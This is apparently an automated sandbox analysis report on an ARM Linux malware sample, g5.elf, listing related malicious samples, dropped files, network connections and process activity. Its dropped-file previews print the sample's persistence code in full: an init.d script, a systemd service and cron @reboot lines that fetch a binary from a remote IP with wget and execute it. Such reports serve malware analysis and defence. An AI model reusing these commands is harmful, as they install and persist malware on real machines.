	Go.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	rCHARTERREQUEST.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://app-nadexlxogi.webflow.io/	Get hash	malicious	Unknown	Browse	172.64.151.8
	https://postaboutx.com/	Get hash	malicious	Unknown	Browse	172.67.134.64
	https://informed.deliveryerz.top/us/	Get hash	malicious	Unknown	Browse	104.16.40.28
	https://informed.deliveryelc.top/us/	Get hash	malicious	HTMLPhisher	Browse	104.21.38.157
	https://informed.deliveryerw.top/us/	Get hash	malicious	Unknown	Browse	104.16.41.28
	https://informed.deliveryekg.top/us/	Get hash	malicious	HTMLPhisher	Browse	104.21.41.205
	https://informed.deliveryewo.top/us/	Get hash	malicious	Unknown	Browse	104.21.32.1
	https://informed.deliveryele.top/us/	Get hash	malicious	HTMLPhisher	Browse	104.21.20.172
	https://reserves-page.com/evquyjaw	Get hash	malicious	HTMLPhisher	Browse	104.21.16.1
CANONICAL-ASGB	ppc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	m68k.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	t5.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	g1.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
INIT7CH	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	m68k.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	g1.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	x86.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	byte.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
ASGHOSTNETDE	g4.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	g6.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	g3.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	ppc.elf	Get hash	malicious	Mirai	Browse	5.175.194.122
	x86.elf	Get hash	malicious	Mirai	Browse	5.175.146.210
	m1.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	m5.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	m2.elf	Get hash	malicious	Unknown	Browse	77.90.22.16
	Vhl3X1aYeU.exe	Get hash	malicious	Njrat	Browse	77.90.22.45
	build.exe	Get hash	malicious	RedLine	Browse	77.90.22.45

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/init.d/hello

Download File

Process:	/tmp/g5.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	625
Entropy (8bit):	4.750358259152211
Encrypted:	false
SSDEEP:	12:i5BpMp5kTMp5Gu+a6HqaxS259srxylKNVUdURucTyl:ifpMr8MrPd6HqGSAsrxy8bp4
MD5:	2C6BD8A750846EBF505D7F7F51E2E2EF
SHA1:	7240776F60C7DBD29490C7F8562686BE353D6172
SHA-256:	4ECE965B61A431A104AE713AA54936939ECC9E538ED627863BB0C6E6F608EF4D
SHA-512:	1893A616CB15F1C24913E17F928478F2697CCAB3DD79266DD6CDB36C1E572BCFA5165B78FE5511076E229979F770248E9C133FAAB207E10C989E15CCE93F57B3
Malicious:	true
Reputation:	low
Preview:	#!/bin/bash.### BEGIN INIT INFO.# Provides: hello.# Required-Start: $network $local_fs.# Required-Stop: $network $local_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: hi :).# Description: hello :).### END INIT INFO..case "$1" in. start).rm -rf /tmp/g5; wget http://103.136.41.100/g5 -O /tmp/g5; chmod 777 /tmp/g5; /tmp/g5 >C 2 R -1157128192 A "arm"..p4 > /dev/null 2>&1;" ;;. stop). exit 0. ;;. restart). $0 stop. $0 start. ;;. *). echo "Usage: $0 {start\|stop\|restart}". exit 1. ;;.esac..exit 0.

/etc/systemd/system/hello.service

Download File

Process:	/tmp/g5.elf
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.277165424025108
Encrypted:	false
SSDEEP:	6:z8KbX9RZAMGCk4vEuIACLm+fOApF5C1Y0IElsCBLQmWA4Rv:zb9RZADJiIE+moqaxSLHWrv
MD5:	660D85555FA161F16C034B46585580F0
SHA1:	3469891C309D9D149219F8D7CFE328386D892706
SHA-256:	BA2A0AB913BEB7662EC0DC393B50733E274B79D16279DAE3E095EF6AAB2562B0
SHA-512:	9DDCD8176A4E54E0E0F8177DAD59EEE4A4A55593FC5A6093149CD05B0549E68B320A48F430C80A6E84C73950797D57D406D8AA96F2AA94F77DD04FCBD9019F2B
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=hi.After=network.target..[Service].RemainAfterExit=true.TimeoutSec=30s.Restart=no.ExecStart=/bin/bash -c "sleep 10; rm -rf /tmp/g5; wget http://103.136.41.100/g5 -O /tmp/g5; chmod 777 /tmp/g5; /tmp/g5 >C 2 R -1157128192 A "arm"..p1 > /dev/null 2>&1;".Type=forking..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/crontab.tmp

Download File

Process:	/tmp/g5.elf
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	142
Entropy (8bit):	4.8281595204973256
Encrypted:	false
SSDEEP:	3:SH3YFKKpeMPHRCnTAzSGuVY0IUU0XzemmXFw2sePn:SH3opF5C1Y0IEyW5Cn
MD5:	26DAE270D6BBA351C9ABCD4E2DE10F28
SHA1:	463B12019F1DBE539177430A4485376DB410E53A
SHA-256:	3F07FC8695E862FDF54A386680A6B2C0E9F63CAC8B42376A4E4C8F5E571090E9
SHA-512:	587AF28DD41501F45DDD0A735E468C9F34CF2A6286EFD194CBF93AEEEC80394840ECD9EEA0651F47A98E1C911305A1EE59A4ADDE5C3F4B489C6826D07F69C268
Malicious:	true
Reputation:	low
Preview:	@rebootrm -rf /tmp/g5; wget http://103.136.41.100/g5 -O /tmp/g5; chmod 777 /tmp/g5; /tmp/g5 >C 2 R -1157128192 A "arm"..p2 > /dev/null 2>&1;".

/tmp/qemu-open.EENzh3 (deleted)

Download File

Process:	/tmp/g5.elf
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	259
Entropy (8bit):	3.444115888472326
Encrypted:	false
SSDEEP:	6:OgDFg7Y/VUS/FYDF1/VjmsVot/VOArB/VF:OYsS/FQm/
MD5:	2FCA16CC82EE533E5B9E16BE6C0A42BA
SHA1:	D5F18A35C0949B52D9F5F180C90CEF99F63A9A4D
SHA-256:	99640498121DB2DF3361DC794F3EAC54C2A062625C639F9B41D59A38FD03C4B6
SHA-512:	F88058659F7B9EF7E5425BD63D36B8BDCDDB910F9FEE3A4393A1153D8415E9FEFCB603D74DB49E15F9529713C639BE59483493C8E1A8357E8810C58234B33D3B
Malicious:	false
Reputation:	low
Preview:	8000-1b000 r-xp 00000000 fd:00 531606 /tmp/g5.elf.23000-24000 rw-p 00013000 fd:00 531606 /tmp/g5.elf.24000-2a000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack]..

/var/spool/cron/crontabs/tmp.YK4hXT

Download File

Process:	/usr/bin/crontab
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.252007673646203
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1K8XAEuLuwJOBFQ3pXWJ24iGMQ5UYLtCFt3HYopF5C1Y0IEyW5Cn:8Qj7QEuLut83pXW44UeHLUHYwqaxVz
MD5:	D2B7DC4CB0FC5F0AE4E5D8591D7349BC
SHA1:	066CD467E6E3B86C46E48189AC418544D02E754D
SHA-256:	64FC0EED8C063D68B42C38A5E3BDE664C920DAACE9DFCD1B978D15009CB0C982
SHA-512:	C7B3DEB37729404037E7223B40A25FD8460CF51FD86BA68CB5A30D436C8A2891B4449A691805EA5D0810AD8A5B6D0EA3B4FAB7708FC381226733D0C8D2C3740A
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (/tmp/crontab.tmp installed on Sun Jan 12 23:42:01 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@rebootrm -rf /tmp/g5; wget http://103.136.41.100/g5 -O /tmp/g5; chmod 777 /tmp/g5; /tmp/g5 >C 2 R -1157128192 A "arm"..p2 > /dev/null 2>&1;".

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.101665361023169
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	g5.elf
File size:	79'764 bytes
MD5:	0947b8ef749b4f928c2050559d7e734c
SHA1:	1e37a3067e6131106f6d4ae4f98fcc0cd8c6fe8e
SHA256:	9e9bca63d6c89ee16f353e391e0f8208ecd7e1e98e19672c35f6aa4c8d395738
SHA512:	a6c95f86670341fc039904197d50b3e7fdaf501924deb4473d956086b484048c0262bdf13c72c228078e066c366e7c35d6c2b6a9c7e328f5ed7bed1b0085fc09
SSDEEP:	1536:fbSna0PAeU9tsNKeIzB8+O6A+0MniD7hNz8dnLgIZgTeg:j9Ow7zs7hNz8d8JT
TLSH:	A1730956F9818B52C5D402BB7A1E569E33076BA8E3DE3313DD241B24778B62F0F27906
File Content Preview:	.ELF..............(.....T...4....5......4. ...(......................-...-...............0...0...0..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..5.......0....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79244
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x11380	0x0	0x6	AX	16
.fini	PROGBITS	0x19430	0x11430	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x19440	0x11440	0x1948	0x0	0x2	A	4
.eh_frame	PROGBITS	0x23000	0x13000	0x4	0x0	0x3	WA	4
.init_array	INIT_ARRAY	0x23004	0x13004	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x23008	0x13008	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x23010	0x13010	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x23084	0x13084	0x490	0x0	0x3	WA	4
.bss	NOBITS	0x23514	0x13514	0x2978	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x13514	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x13524	0x67	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x12d88	0x12d88	6.1241	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x13000	0x23000	0x23000	0x514	0x2e8c	6.0134	0x6	RW	0x8000	.eh_frame .init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 18
• 5625 undefined
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 06:41:58.963519096 CET	42836	443	192.168.2.23	91.189.91.43
Jan 13, 2025 06:41:59.731424093 CET	42516	80	192.168.2.23	109.202.202.202
Jan 13, 2025 06:42:01.474273920 CET	35687	53	192.168.2.23	1.1.1.1
Jan 13, 2025 06:42:01.479142904 CET	53	35687	1.1.1.1	192.168.2.23
Jan 13, 2025 06:42:01.479218960 CET	35687	53	192.168.2.23	1.1.1.1
Jan 13, 2025 06:42:01.479386091 CET	35687	53	192.168.2.23	1.1.1.1
Jan 13, 2025 06:42:01.484229088 CET	53	35687	1.1.1.1	192.168.2.23
Jan 13, 2025 06:42:01.484273911 CET	35687	53	192.168.2.23	1.1.1.1
Jan 13, 2025 06:42:02.871799946 CET	48820	5625	192.168.2.23	77.90.22.16
Jan 13, 2025 06:42:02.876743078 CET	5625	48820	77.90.22.16	192.168.2.23
Jan 13, 2025 06:42:02.876821041 CET	48820	5625	192.168.2.23	77.90.22.16
Jan 13, 2025 06:42:02.887173891 CET	48820	5625	192.168.2.23	77.90.22.16
Jan 13, 2025 06:42:02.892023087 CET	5625	48820	77.90.22.16	192.168.2.23
Jan 13, 2025 06:42:13.553642035 CET	43928	443	192.168.2.23	91.189.91.42
Jan 13, 2025 06:42:25.839827061 CET	42836	443	192.168.2.23	91.189.91.43
Jan 13, 2025 06:42:29.935378075 CET	42516	80	192.168.2.23	109.202.202.202
Jan 13, 2025 06:42:34.030699015 CET	48820	5625	192.168.2.23	77.90.22.16
Jan 13, 2025 06:42:34.036468029 CET	5625	48820	77.90.22.16	192.168.2.23
Jan 13, 2025 06:42:54.510236979 CET	43928	443	192.168.2.23	91.189.91.42
Jan 13, 2025 06:43:04.746581078 CET	48820	5625	192.168.2.23	77.90.22.16
Jan 13, 2025 06:43:04.751529932 CET	5625	48820	77.90.22.16	192.168.2.23
Jan 13, 2025 06:43:13.965101004 CET	48820	5625	192.168.2.23	77.90.22.16
Jan 13, 2025 06:43:13.969981909 CET	5625	48820	77.90.22.16	192.168.2.23
Jan 13, 2025 06:43:14.155473948 CET	5625	48820	77.90.22.16	192.168.2.23
Jan 13, 2025 06:43:14.155581951 CET	48820	5625	192.168.2.23	77.90.22.16
Jan 13, 2025 06:43:45.700861931 CET	48820	5625	192.168.2.23	77.90.22.16
Jan 13, 2025 06:43:45.705874920 CET	5625	48820	77.90.22.16	192.168.2.23

System Behavior

Analysis Process: g5.elf PID: 6214, Parent PID: 6130

General

Start time (UTC):	05:41:54
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	/tmp/g5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

File Deleted

File Read

File Written

Directory Enumerated

Symbolic Link Created

Process Activities

Process Forked

Signal Sent

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Listening

Socket Connecting

Chronological Activities

Analysis Process: g5.elf PID: 6225, Parent PID: 6214

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Process Activities

Process Overlayed (Exec)

Thread Sleep

Chronological Activities

Analysis Process: sh PID: 6225, Parent PID: 6214

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 6231, Parent PID: 6225

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: systemctl PID: 6231, Parent PID: 6225

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: g5.elf PID: 6243, Parent PID: 6214

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Process Activities

Process Overlayed (Exec)

Thread Sleep

Chronological Activities

Analysis Process: sh PID: 6243, Parent PID: 6214

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl start hello.service > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 6245, Parent PID: 6243

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: systemctl PID: 6245, Parent PID: 6243

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl start hello.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: g5.elf PID: 6246, Parent PID: 6214

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Process Activities

Process Overlayed (Exec)

Thread Sleep

Chronological Activities

Analysis Process: sh PID: 6246, Parent PID: 6214

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 6251, Parent PID: 6246

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: crontab PID: 6251, Parent PID: 6246

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/usr/bin/crontab
Arguments:	crontab /tmp/crontab.tmp
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

File Activities

File Opened

File Deleted

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: g5.elf PID: 6252, Parent PID: 6214

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Process Activities

Process Overlayed (Exec)

Thread Sleep

Chronological Activities

Analysis Process: sh PID: 6252, Parent PID: 6214

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	sh -c "/etc/init.d/hello > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 6257, Parent PID: 6252

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: g5.elf PID: 6258, Parent PID: 6214

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Process Activities

Process Forked

Thread Sleep

Chronological Activities

Analysis Process: g5.elf PID: 6260, Parent PID: 6258

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Process Activities

Process Forked

Thread Sleep

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: g5.elf PID: 6263, Parent PID: 6260

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Signal Sent

Thread Sleep

Chronological Activities

Analysis Process: g5.elf PID: 6264, Parent PID: 6260

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

Directory Enumerated

Process Activities

Thread Sleep

Chronological Activities

Analysis Process: g5.elf PID: 6267, Parent PID: 6260

General

Start time (UTC):	05:42:01
Start date (UTC):	13/01/2025
Path:	/tmp/g5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Signal Sent

Thread Sleep

Chronological Activities

Analysis Process: xfce4-panel PID: 6216, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wrapper-2.0 PID: 6216, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

File Activities

File Opened

File Read

Process Activities

Prctl Requested

Chronological Activities

Analysis Process: xfce4-panel PID: 6217, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wrapper-2.0 PID: 6217, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

File Activities

File Opened

File Read

Process Activities

Prctl Requested

Chronological Activities

Analysis Process: xfce4-panel PID: 6218, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wrapper-2.0 PID: 6218, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

File Activities

File Opened

File Read

Process Activities

Prctl Requested

Chronological Activities

Analysis Process: xfce4-panel PID: 6219, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wrapper-2.0 PID: 6219, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

File Activities

File Opened

File Read

Process Activities

Prctl Requested

Chronological Activities

Analysis Process: xfce4-panel PID: 6220, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wrapper-2.0 PID: 6220, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

File Activities

File Opened

File Read

Process Activities

Prctl Requested

Chronological Activities

Analysis Process: xfce4-panel PID: 6221, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wrapper-2.0 PID: 6221, Parent PID: 2063

General

Start time (UTC):	05:41:57
Start date (UTC):	13/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

File Activities

File Opened

File Read

Process Activities

Prctl Requested

Chronological Activities

Analysis Process: systemd PID: 6233, Parent PID: 6232

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: snapd-env-generator PID: 6233, Parent PID: 6232

General

Start time (UTC):	05:42:00
Start date (UTC):	13/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

